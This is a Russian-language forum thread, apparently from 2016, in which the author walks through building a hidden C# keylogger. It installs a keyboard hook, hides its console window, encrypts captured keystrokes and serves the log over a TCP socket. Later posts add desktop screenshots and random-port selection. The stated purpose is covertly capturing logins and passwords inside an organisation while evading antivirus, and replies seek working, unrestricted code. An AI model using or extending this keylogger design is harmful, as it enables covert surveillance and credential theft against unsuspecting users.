Пишем simple-кейлогер с передачей дампа по TCP на C#

Тема в разделе "Этичный хакинг и тестирование на проникновение", создана пользователем Ishikawa, 21 ноя 2016.

Метки:
  1. Ishikawa

    Ishikawa マエストロ
    Команда форума Grey Team

    Репутация:
    1
    Регистрация:
    15 ноя 2016
    Сообщения:
    124
    Симпатии:
    163
    Однажды возникла острая необходимость выяснить логины/пароли от ряда сетевых ресурсов в крупной организации. Выходов было два - MITM и неизвестность или конкретная цель и кейлогер.
    Поскольку практически все известные кейлогеры есть в базах KAV и прочей антивирусной шняги, было принято решение писать что-то свое, без всяких няшных гуев на C# (.Net 3.5-4.0).
    Only console,only hardcore.
    Задач было две - перехватывать все нажатия клавиш с учетом раскладки клавиатуры, отслеживать долгие нажатия клавиш (зажатый shift и пр.,определять где большая буква, где маленькая.) + забрать логи без палева по сети через TCP на случайном порту.

    И в этой статье я покажу несложную реализацию, но сразу скажу, что в ней будет несколько ограничений, чтобы киды не шалили. Кто шарит - допилит под себя. (исходник - в конце статьи)

    Начнем.
    Кодить можно в любой байде,я выбрал Microsoft VisualStudio.
    Разработка состоит из следующих этапов:
    1. установка хука
    2. обработка нажатий
    3. шифрование
    3. запись в файл
    4. создать сервер на произвольном порту, чтобы забирать дамп.

    Сперва подключим пространства имен:

    Пишем simple-кейлогер с передачей дампа по TCP на C#


    выделим из них using System.IO - ввод/вывод, System.Net.Sockets - для создания соединений, using System.Security.Cryptography - шифрование.

    Затем инициализируем параметры:
    Пишем simple-кейлогер с передачей дампа по TCP на C#

    WM_KEYDOWN = 0x0100; //нажали
    WM_KEYUP = 0x0101; //отпустили
    WM_SYSKEYUP = 0x0105; //отпустили syskey
    WM_SYSKEYDOWN = 0x0104 //нажали syskey
    public const int KF_REPEAT = 0X40000000; //флаг удержания

    Ставим "указатели" для установки Hook . Вообще хук - древнее, испытанное средство, работающее от winxp до win10. Инфы по ним - масса.

    Пишем simple-кейлогер с передачей дампа по TCP на C#

    Описание хука должно быть вынесено за пределы всяких процедур и находится в общем классе.
    Нашему приложении придется выполнять две задачи сразу: писать нажатия и висеть с открытым сокетом. Без тредов тут не обойтись.
    До описания void Main пишем [STAThread] - это позволит создать два потока.
    Пишем simple-кейлогер с передачей дампа по TCP на C#

    Поскольку приложение у нас консольное - нам нужно, чтобы его не было видно.
    Для этого в static void Main пишем:
    Пишем simple-кейлогер с передачей дампа по TCP на C#

    ShowWindow(handle, SW_HIDE); //если закомментировать - окно будет visible
    Пишем simple-кейлогер с передачей дампа по TCP на C#
    Ставим хук (описание будет ниже)

    Далее там же определяем текущую раскладку клавы. Используем метод GetKeyboardLayout();
    Пишем simple-кейлогер с передачей дампа по TCP на C#
    Обращаем внимание на Writer(Encrypt)( ) - в дальнейшем функция будет записывать и шифровать каждый нажатый символ. Создаем потоки через System.Threading.Thread.
    Не забываем снять хук после завершения работы программы:
    Пишем simple-кейлогер с передачей дампа по TCP на C#

    Теперь пишем функцию для установки хуков. Вызывается из блока Main:
    Пишем simple-кейлогер с передачей дампа по TCP на C#
    Пишем делегат уже за пределами функции SetHook:
    Пишем simple-кейлогер с передачей дампа по TCP на C#

    Теперь хук установлен (почти). Куда же идти дальше? Дальше - рыбалка :)
    Пишем функцию для отлова нажатий клавиш:
    Пишем simple-кейлогер с передачей дампа по TCP на C#

    int vkCode = Marshal.ReadInt32(lParam); - один из самых надежных методов - Marshal, но он дает нам не клавишу в чистом виде, а ее код. Например: F == 70
    Далее - переводим из marshal в string.

    Пишем simple-кейлогер с передачей дампа по TCP на C#
    Если нажали F, то в vkCode будет 70, а mystring=="F"
    Далее определяем раскладку клавиатуры:
    Пишем simple-кейлогер с передачей дампа по TCP на C#

    Writer(encrypted); - пишем факт смены раскладки.
    mss = mss_check; -по этой переменной при следующем нажатии определяем, изменилась ли раскладка. Кстати если будете дебажить - учтите, что софт будет писать и клавиши отладки (F9,F10 и реагировать на них).
    Пишем все остальные нажатия:
    Пишем simple-кейлогер с передачей дампа по TCP на C#
    Далее пишем только те что были отпущены (в нашем случае все контрольные)

    Пишем simple-кейлогер с передачей дампа по TCP на C#

    Похожим образом можно ловить сочетания клавиш, например так:
    Пишем simple-кейлогер с передачей дампа по TCP на C#
    и обрабатывать их со своими правилами.

    Или же делать вообще веселые вещи - блокировать сочетания клавиш:
    Пишем simple-кейлогер с передачей дампа по TCP на C#
    return (IntPtr)1; - как раз и блокирует :)

    Чтобы наше приложение не зависло после первой нажатой клавиши, нужно предусмотреть выход из процедуры:
    Пишем simple-кейлогер с передачей дампа по TCP на C#

    На этом с функцией HookCallback покончено. Займемся троянским конем с одной функцией - передать нам данные из файла лога.
    Поскольку сокеты вещь капризная, оформляем ее в try - catch конструкцию:
    public static void ServerSocket()
    {
    while (true) // цикл с условием :)
    {
    {
    try
    {
    Создаем точку подключения из текущего IP и порта 9050. Я специально убрал поиск и выбор случайного порта, но порт 9050 как правило, не закрыт.
    Пишем simple-кейлогер с передачей дампа по TCP на C#
    1. Получаем текущий IP и устанавливаем порт.
    2. Создаем сокет.
    3. Биндим и ждем подключений .
    Поскольку наша прога - сервер - мы ждем клиента. Создаем сокет для клиента:

    Пишем simple-кейлогер с передачей дампа по TCP на C#
    1. Получаем удаленный IP.
    2. Создаем коннект.
    3. Пишем в лог, что подключились.

    Далее необходимо инициировать отправку файла от сервера клиенту. Для этого снова делаем обертку из try-catch.

    Пишем simple-кейлогер с передачей дампа по TCP на C#
    Для отправки используем Socket.SendFile. Лог сохраняется туда же, где лежит текущее приложение.
    После передачи - разрываем коннект.

    Желающие могут переписать client.SendFile на FtpWebRequest reqFTP или SmtpClient client = new SmtpClient(), чтобы использовать возможности FTP или email, но последний не советую, т.к. корпоративные почтовики пишут логи+придется писать еще модуль для работы через proxy.
    (подобным же образом можно дописать и шелл-оболочку, hello metsvc )

    Осталось только дописать две функции: запись и шифрование.
    Запись реализуется чрезвычайно просто:
    Пишем simple-кейлогер с передачей дампа по TCP на C#
    Обращаем внимание - пишем каждый символ с новой строки. Почему так - скажу в конце.
    А вот теперь модуль Encrypt. Дабы не изобретать велосипед - возьмем готовый.

    Опишу модуль лишь в кратце. Сложностей там нет.
    Шифрование будет AES-256. Параметры у меня предустановлены. Главные из них - длина ключа и вектор.
    Пишем simple-кейлогер с передачей дампа по TCP на C#

    Cоздаем MemoryStream - работать с памятью удобнее и быстрее. Для шифрование - лучший вариант.
    Затем создаем крипто-поток. Получается в некотором роде "матрешка" из потоков.
    //пишем
    cryptoStream.Write(plainTextBytes, 0, plainTextBytes.Length);
    // записали - почистили
    cryptoStream.FlushFinalBlock();
    //закрываем потоки
    memStream.Close();
    cryptoStream.Close();

    Теперь есть одна сложность, почему пишем с новой строки, а не продолжаем дальше. AES не позволяет шифровать данные на лету. Если мы так попробуем сделать - файл будет тупо перезаписываться или в конец будет добавлено шифрованное содержимое, которые мы уже никогда не расшифруем, ибо программа не сможет определить где начало,где конец.

    Что же делать? Выход прост и лаконичен:
    После symmetricKey.Clear(); дописываем следующую строчку:

    Пишем simple-кейлогер с передачей дампа по TCP на C#
    Да,да. Старый, добрый Base64.
    Работает это так: нажали А - открыли файл для записи, зашифровали А в <&5d92_)_*3>, а <&5d92_)_*3> записали в Base64 H1BoaX7twhPxtE5AuydhHQ==

    В итоге шифрованный файл у нас будет выглядеть как-то так:

    3/Cy4CkgahXIZxzWIcHB/w==
    bEvDy6XwQ/TCSLteiHV8HNfOpYHaM1wcUjbWXcIA2PjN3NuyZ7s5MdfA+l3fkVHp
    fHiGcrcccgtDbW4+Tpf7wA==
    bEvDy6XwQ/TCSLteiHV8HNfOpYHaM1wcUjbWXcIA2PhUzj0ghbJZVoJgsbRiS6CH
    H1BoaX7twhPxtE5AuydhHQ==
    GMv5+3F6dLb5GymIvv3Lhg==
    9har47I/6mOOnWtllg52nQ==
    fHiGcrcccgtDbW4+Tpf7wA==
    8E2+NLMvagqELD4ggKoT0g==
    IFwu4krJ7dIVqKdbH/EQ0g==
    8E2+NLMvagqELD4ggKoT0g==


    Присутствует потенциальная уязвимость, ибо одинаковые символы шифруются AES и Base64 одинаково, и статистически возможно определение одного символа или группы символов
    (пароли и вектор ведь не меняются).

    По TCP все передается plaintext - поскольку все и так зашифровано - для расшифровки нужно знать длину ключа, пароль, вектор. Без этих данных расшифровка - тухлое дело.

    И чуть не забыл самое главное. Чтобы хук работал, нужно получить все нужные нам функции через DLLImport. В конец главного класса дописываем:

    Пишем simple-кейлогер с передачей дампа по TCP на C#

    Все перечислять не буду - полное описание будет во вложении.
    Последнее замечание: поскольку всё это написано на C# 4.0 (уж так получилось), то работать это будет на всей ветке Windows, начиная с Win2003S до Win8.1 и скорее всего и Win10 с установленным .NetFramework 4.0 (лично я проверял на WinXP, Win7,Win2008,Win8.1)

    На этом создание кейлогера окончено. Что делать дальше?
    Писать клиента для подключения к кейлогеру и дешифратор.
    Многие наверняка уже поняли, что функцию Encrypt легко можно превратить в Decrypt, просто порядок другой, и сначала нужно будет открыть файл :)

    Всем спасибо!

    p.s. материалы и описание функций - все есть в MSDN и Google :)
     

    Вложения:

    #1 Ishikawa, 21 ноя 2016
    Последнее редактирование: 21 ноя 2016
    andrej, valerian38, Bayonet и 18 другим нравится это.
  2. ~~DarkNode~~

    ~~DarkNode~~ ~^_Wired FaLc❍n_^~
    Команда форума Grey Team

    Репутация:
    2
    Регистрация:
    19 окт 2016
    Сообщения:
    485
    Симпатии:
    1.620
    Спасибо бро,в хозяйстве пригодится))))
     
  3. Ishikawa

    Ishikawa マエストロ
    Команда форума Grey Team

    Репутация:
    1
    Регистрация:
    15 ноя 2016
    Сообщения:
    124
    Симпатии:
    163
    На здоровье. Если будет интерес - напишу еще пару статей :)
     
    viktorcruce, MonMJK, WebWare Team и 2 другим нравится это.
  4. MAdDog719

    MAdDog719 Well-Known Member
    Grey Team

    Репутация:
    0
    Регистрация:
    16 авг 2016
    Сообщения:
    108
    Симпатии:
    26
    Конечно интересно, очень классный материал.

    А как можно получить код кейлогера без всяких ограничений? Я не кид, но в кодонаписании к сожалению понимаю пока очень, и очень мало, так что допилить под себя сам не смогу. А как написали выше, работающий кейлогер в хозяйстве сгодится.
     
    #4 MAdDog719, 21 ноя 2016
    Последнее редактирование: 21 ноя 2016
    MonMJK нравится это.
  5. xXx

    xXx Member

    Репутация:
    0
    Регистрация:
    20 сен 2016
    Сообщения:
    6
    Симпатии:
    4
    Материалу и автору зачет! Интересно
     
  6. Ishikawa

    Ishikawa マエストロ
    Команда форума Grey Team

    Репутация:
    1
    Регистрация:
    15 ноя 2016
    Сообщения:
    124
    Симпатии:
    163
    :rolleyes:
    IPEndPoint ipep = new IPEndPoint(IPAddress.Any, 9050);
    замени на
    IPEndPoint ipep = new IPEndPoint(IPAddress.Any, 0);

    В этом случае система сама даст свободный порт выше 31337 :)
     
  7. Ishikawa

    Ishikawa マエストロ
    Команда форума Grey Team

    Репутация:
    1
    Регистрация:
    15 ноя 2016
    Сообщения:
    124
    Симпатии:
    163
    Раз уж интересно, давайте добавим одну маленькую плюшку: скрин рабочего стола во время запуска кейлогера.
    Скриншот никак не шифруется, но исправить это легко, пропустив его через функции Write(Encrypt());

    для начала объявляем пространство, необходимое для работы с графикой.

    Пишем simple-кейлогер с передачей дампа по TCP на C#

    Если вдруг ругается, что не может найти эти пространства - исправить легко. Нужно добавить референс (Project --> Add reference).

    Пишем simple-кейлогер с передачей дампа по TCP на C#

    После этого ошибок не будет.

    Поскольку задача не велика, не будем плодить всякие функции. Пишем в тело функции Main() следующий код:

    Пишем simple-кейлогер с передачей дампа по TCP на C#

    Скриншот сохраняется туда же, где лежит дамп клавиш и сама программа. Для пытливых = есть что доработать, ибо картинка сохраняется в bmp и сохраняется только PrimaryScreen, т.е. основной монитор. Если мониторов два или больше... получите только первый :)
     
    ~~DarkNode~~, MAdDog719 и WebWare Team нравится это.
  8. ~~DarkNode~~

    ~~DarkNode~~ ~^_Wired FaLc❍n_^~
    Команда форума Grey Team

    Репутация:
    2
    Регистрация:
    19 окт 2016
    Сообщения:
    485
    Симпатии:
    1.620
    Ну да) Тут все боги шарпа))))Ты пока второй бог шарпа которого я встретил)))
    Первым был Лешка Морозов... ):)
     
  9. MAdDog719

    MAdDog719 Well-Known Member
    Grey Team

    Репутация:
    0
    Регистрация:
    16 авг 2016
    Сообщения:
    108
    Симпатии:
    26
    Эммм а клиент и дешифратор на этом форуме будут выложены? ))))
     
  10. poxys

    poxys Member

    Репутация:
    0
    Регистрация:
    23 окт 2016
    Сообщения:
    10
    Симпатии:
    0
    Скажи а как сделать что бы скриншот экрана всегда делался по клику мышки
     
  11. Ishikawa

    Ishikawa マエストロ
    Команда форума Grey Team

    Репутация:
    1
    Регистрация:
    15 ноя 2016
    Сообщения:
    124
    Симпатии:
    163
    А то, но мы сначала немного модифицируем кейлогер, добавим в него некоторые плюшки :)
     
  12. Ishikawa

    Ishikawa マエストロ
    Команда форума Grey Team

    Репутация:
    1
    Регистрация:
    15 ноя 2016
    Сообщения:
    124
    Симпатии:
    163
    Вообще, если используется обычное оконное приложение WinForms или WPF, Silverlight, то клик отрабатывается через обработчик:

    Пишем simple-кейлогер с передачей дампа по TCP на C#

    Это будет работать только в пределах одного приложения. В нашем случае это будет бесполезно, т.к. приложение не имеет видимых окон. Выход - ставить хук на мышку. Если кратко, то нужно объявить константы под мышь:
    Пишем simple-кейлогер с передачей дампа по TCP на C#

    Потом создать функцию установки хука:

    Пишем simple-кейлогер с передачей дампа по TCP на C#

    А потом написать еще +500 строк кода, чтобы всё это работало. В общем - установка хука на мышь - отдельная статья.

    p.s. галерею хочешь накликать? :)
    я как-то сделал скрин каждые 2 секунды. За день сожрало 180Гб
     
    ~~DarkNode~~ нравится это.
  13. poxys

    poxys Member

    Репутация:
    0
    Регистрация:
    23 окт 2016
    Сообщения:
    10
    Симпатии:
    0
    • Как раз в том то и дело что бы не создавались каждые две минуты скриншоты всего экрана, а именно по клику мыши, юзер же кликает когда что то делает, и это не часто, плюс сделать что бы скриншот был черно-белый и сильно пожатый!
     
  14. poxys

    poxys Member

    Репутация:
    0
    Регистрация:
    23 окт 2016
    Сообщения:
    10
    Симпатии:
    0
    Почему сыпит ошибками? Ссылки указаны!

    Пишем simple-кейлогер с передачей дампа по TCP на C#
    Пишем simple-кейлогер с передачей дампа по TCP на C#
    Пишем simple-кейлогер с передачей дампа по TCP на C#
     
    #14 poxys, 23 ноя 2016
    Последнее редактирование модератором: 23 ноя 2016
  15. Ishikawa

    Ishikawa マエストロ
    Команда форума Grey Team

    Репутация:
    1
    Регистрация:
    15 ноя 2016
    Сообщения:
    124
    Симпатии:
    163
    Палка о двух концах. Сделать могу конечно, но пока не убедил, бро.
     
  16. Ishikawa

    Ishikawa マエストロ
    Команда форума Grey Team

    Репутация:
    1
    Регистрация:
    15 ноя 2016
    Сообщения:
    124
    Симпатии:
    163
    Там же написано, а выше я писал: "Если вдруг ругается, что не может найти эти пространства - исправить легко. Нужно добавить референс (Project --> Add reference)."
    Собственно, у тебя нет ссылок на эти пространства. Их нужно добавить самому, бро.
     
  17. poxys

    poxys Member

    Репутация:
    0
    Регистрация:
    23 окт 2016
    Сообщения:
    10
    Симпатии:
    0
    Я добавил все ссылки которые доступны, все равно не работает! Одной ссылки на System достаточно для работы должно быть, так как в нее входит IO-Net.Sockets-Threading-Security.Cryptography.
     

    Вложения:

    • Пишем simple-кейлогер с передачей дампа по TCP на C#
      4.jpg
      Размер файла:
      279,1 КБ
      Просмотров:
      32
  18. Ishikawa

    Ishikawa マエストロ
    Команда форума Grey Team

    Репутация:
    1
    Регистрация:
    15 ноя 2016
    Сообщения:
    124
    Симпатии:
    163
    Нет, не будет достаточно, т.к. в system не входит все остальное. Буть так - не было бы нужды плодить адресные пространства.

    Бро, если ты добавишь все без разбора, работать и не будет...
    Подключать нужно только нужные пространства. Давай сделаем так:
    1. Убирай все галки со всех пространств Project --> Add reference
    2. В коде убери лишние using. Оставь только те, что ниже:
    Пишем simple-кейлогер с передачей дампа по TCP на C#
    3. Идем в Project --> Add reference. Ставим только те, что я указал:
    Microsoft.CSharp
    System
    System.Drawning
    System.Windows.Forms


    Должно получиться так:
    Пишем simple-кейлогер с передачей дампа по TCP на C#

    После этого жми F5.
     

    Вложения:

    #18 Ishikawa, 25 ноя 2016
    Последнее редактирование: 25 ноя 2016
  19. poxys

    poxys Member

    Репутация:
    0
    Регистрация:
    23 окт 2016
    Сообщения:
    10
    Симпатии:
    0
    Ждем клиент для расшифровки!
     
  20. Ishikawa

    Ishikawa マエストロ
    Команда форума Grey Team

    Репутация:
    1
    Регистрация:
    15 ноя 2016
    Сообщения:
    124
    Симпатии:
    163
    Написал вторую часть про клиента. Расшифровка будет в третьей :)
     
    ~~DarkNode~~ и viktorcruce нравится это.
Загрузка...

Поделиться этой страницей